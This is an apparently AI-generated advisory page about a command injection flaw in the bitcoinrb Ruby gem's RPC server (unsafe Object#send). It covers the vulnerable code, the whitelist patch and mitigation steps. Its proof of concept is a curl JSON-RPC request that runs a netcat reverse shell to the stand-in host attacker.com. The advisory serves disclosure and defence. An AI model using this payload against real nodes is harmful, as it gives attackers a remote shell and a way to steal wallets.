CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-Q66H-M87M-J2Q6
9.84.50%

Coin Toss to Shell: Unmasking the bitcoinrb RPC Command Injection

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 10, 2026·6 min read·1 visit

PoC Available

Executive Summary (TL;DR)

The bitcoinrb gem's RPC server blindly trusts user input when invoking methods, allowing attackers to execute system commands via the JSON `method` field. If you run a node with this gem exposed, your server is compromised. Update to v1.12.0 immediately.

A critical Command Injection vulnerability was discovered in the bitcoinrb RubyGem, a Ruby implementation of the Bitcoin protocol. The flaw stems from insecure dynamic method dispatch in the RPC server component, specifically the misuse of Ruby's `Object#send` method. By crafting a malicious JSON-RPC request, an unauthenticated attacker can invoke arbitrary Ruby Kernel methods—such as `system` or `exec`—effectively turning a Bitcoin node into a remote shell. This vulnerability affects all versions prior to 1.12.0.

The Hook: When a Wallet Becomes a Weapon

In the world of cryptocurrency, a Bitcoin node is the ultimate prize. It validates transactions, maintains the ledger, and often holds the keys to the kingdom—literally. bitcoinrb is a Ruby implementation of the Bitcoin protocol, designed for developers who prefer the elegance of Ruby over the rigidity of C++. But in this case, that elegance came with a hidden trapdoor.

The vulnerability lies in the Remote Procedure Call (RPC) server. This is the interface that allows administrators (and external services) to talk to the Bitcoin node, asking it to getblockcount or sendrawtransaction. It is supposed to be a rigid control panel with a specific set of buttons.

However, due to a classic Ruby anti-pattern, the developers accidentally turned that control panel into a command line interface. Instead of checking which button you pressed, the code effectively asked, "What Ruby method would you like me to run today?" And as it turns out, "format my hard drive" is a valid Ruby method call if you know how to ask.

The Flaw: A Lesson in Dynamic Dispatch

The root cause here is a misunderstanding of Dynamic Method Dispatch. In dynamic languages like Ruby, you often don't know which method you need to call until runtime. Ruby provides the send method for this exact purpose. It allows you to invoke a method on an object by passing the method name as a string or symbol.

The vulnerable code in lib/bitcoin/rpc/http_server.rb did exactly this. It took the method field from the incoming JSON-RPC request and passed it directly to send. The logic was meant to route getblockchaininfo to the getblockchaininfo method defined in the handler.

Here is the fatal flaw: In Ruby, almost everything inherits from Object, which mixes in the Kernel module. The Kernel module contains methods that are essential for the OS interface, such as exit, abort, and the holy grail of exploitation: system. Because send ignores visibility modifiers (private/protected) and has access to the entire inheritance chain, an attacker isn't limited to Bitcoin-related methods. They can call any method the object responds to. When you let a user control the first argument of send, you are essentially providing them with an eval loop.

The Code: The Smoking Gun

Let's look at the code that made this possible. The vulnerability is concise, hiding in plain sight within the request processing logic.

Vulnerable Code (lib/bitcoin/rpc/http_server.rb)

# The variable 'command' comes directly from the JSON body
command, args = parse_json_params
 
# ... logging ...
 
# FATAL: 'send' is called with user-controlled input
send(command, *args).to_json

The developer assumed that command would always be something safe like getpeerinfo. They didn't anticipate that command could be system.

The Fix (Commit 0703271)

The patch is the only sane way to handle this: a strict whitelist. Instead of assuming the input is safe, the fixed code explicitly defines what is allowed. If the requested command isn't in the club list, it doesn't get in.

SUPPORTED_COMMANDS = %w[
  getblockchaininfo stop getblockheader getpeerinfo
  sendrawtransaction decoderawtransaction decodescript
  createwallet listwallets getwalletinfo listaccounts
  encryptwallet getnewaddress
].freeze
 
command, args = parse_json_params
 
# The Bouncer: Check the whitelist first
unless SUPPORTED_COMMANDS.include?(command)
  raise ArgumentError, "Unsupported method: #{command}"
end
 
send(command, *args).to_json

This change neutralizes the threat completely. Even if I ask to run system, the code checks the SUPPORTED_COMMANDS array, sees that system is missing, and raises an error.

The Exploit: Pwning the Chain

Exploiting this is trivially easy. We don't need buffer overflows or heap grooming. We just need curl and a valid JSON payload.

The Attack Scenario

  1. Reconnaissance: The attacker scans for open port 8332 (default Bitcoin RPC) or similar ports where bitcoinrb might be listening.
  2. Payload Construction: The attacker constructs a JSON-RPC 2.0 request. Instead of asking for block data, they specify the system method. The params array becomes the arguments for the shell command.

Proof of Concept

curl -X POST -H "Content-Type: application/json" \
  --data '{
    "jsonrpc": "2.0", 
    "id": 1, 
    "method": "system", 
    "params": ["nc -e /bin/sh attacker.com 4444"]
  }' \
  http://target-bitcoin-node:8332/

What happens on the server?

  1. The Ruby process receives the request.
  2. It parses "method": "system" and "params": ["nc ..."].
  3. It executes send("system", "nc -e /bin/sh attacker.com 4444").
  4. Ruby's Kernel#system spawns a subshell and executes the netcat reverse shell.
  5. The attacker catches the shell and now has full control over the server running the Bitcoin node.

> [!NOTE] > While system returns true or false (which would be serialized to JSON), the side effect—executing the command—happens immediately. The attacker doesn't care about the JSON response; they care that their reverse shell connected.

The Impact: Why This Matters

The impact here is Critical (CVSS 9.8). We are talking about Remote Code Execution (RCE) on a financial system.

  1. Wallet Theft: The most immediate risk is the theft of the wallet.dat file or private keys stored in memory or on disk. If the node holds funds, they are gone instantly.
  2. Lateral Movement: Bitcoin nodes are often deployed in trusted internal networks or cloud environments. Compromising the node provides a beachhead to attack other internal services, databases, or even the hot wallet infrastructure.
  3. Botnet Recruitment: Even if the wallet is empty, the server itself is a resource. It can be drafted into a botnet, used for mining (ironically), or used to launch DDoS attacks.
  4. Data Integrity: An attacker could theoretically mess with the local ledger data, though the peer-to-peer nature of Bitcoin makes widespread corruption difficult. However, they could feed false data to any internal applications relying on this specific node.

Mitigation: Closing the Door

If you are running bitcoinrb, you have one job right now: Update.

Remediation Steps

  1. Patch Immediately: Update your Gemfile to use bitcoinrb version 1.12.0 or higher.
    bundle update bitcoinrb
  2. Audit Your Logs: Check your request logs for any RPC methods that look suspicious (e.g., system, eval, spawn). If you find them, assume compromise.
  3. Network Segmentation: Why is your RPC port exposed to the internet? It shouldn't be. Use a firewall (iptables, AWS Security Groups) to restrict access to localhost or a specific whitelist of trusted IPs.
  4. Authentication: Ensure that RPC authentication (username/password) is enabled and strong, although this vulnerability could potentially be exploited by anyone with valid credentials (insider threat or compromised credentials).

Developer Takeaway

Never, ever use send on user-supplied strings without a whitelist. It is the SQL Injection of the Ruby world. Always use public_send if you must use dynamic dispatch (to respect privacy), but even then, whitelist your inputs.

Official Patches

chaintopeCommit fixing the RCE vulnerability

Fix Analysis (1)

Technical Appendix

CVSS Score
9.8/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
4.50%
Top 15% most exploited
150
Estimated exposed hosts via Shodan

Affected Systems

bitcoinrb < 1.12.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
bitcoinrb
chaintope
< 1.12.01.12.0
AttributeDetail
Vulnerability TypeCommand Injection / Unsafe Reflection
Attack VectorNetwork (RPC Interface)
Affected Componentlib/bitcoin/rpc/http_server.rb
Dangerous MethodObject#send
CVSS Score9.8 (Critical)
Patch Version1.12.0

MITRE ATT&CK Mapping

T1059.006Command and Scripting Interpreter: Python/Ruby
Execution
T1190Exploit Public-Facing Application
Initial Access
T1210Exploitation of Remote Services
Lateral Movement
CWE-77
Improper Neutralization of Special Elements used in a Command ('Command Injection')

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as a command when sent to a downstream component.

Known Exploits & Detection

GeneratedCurl command injecting 'system' method into RPC request.

Vulnerability Timeline

Vulnerability Disclosed
2026-02-07
Patch Committed (v1.12.0)
2026-02-07

References & Sources

  • [1]GitHub Security Advisory
  • [2]bitcoinrb Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.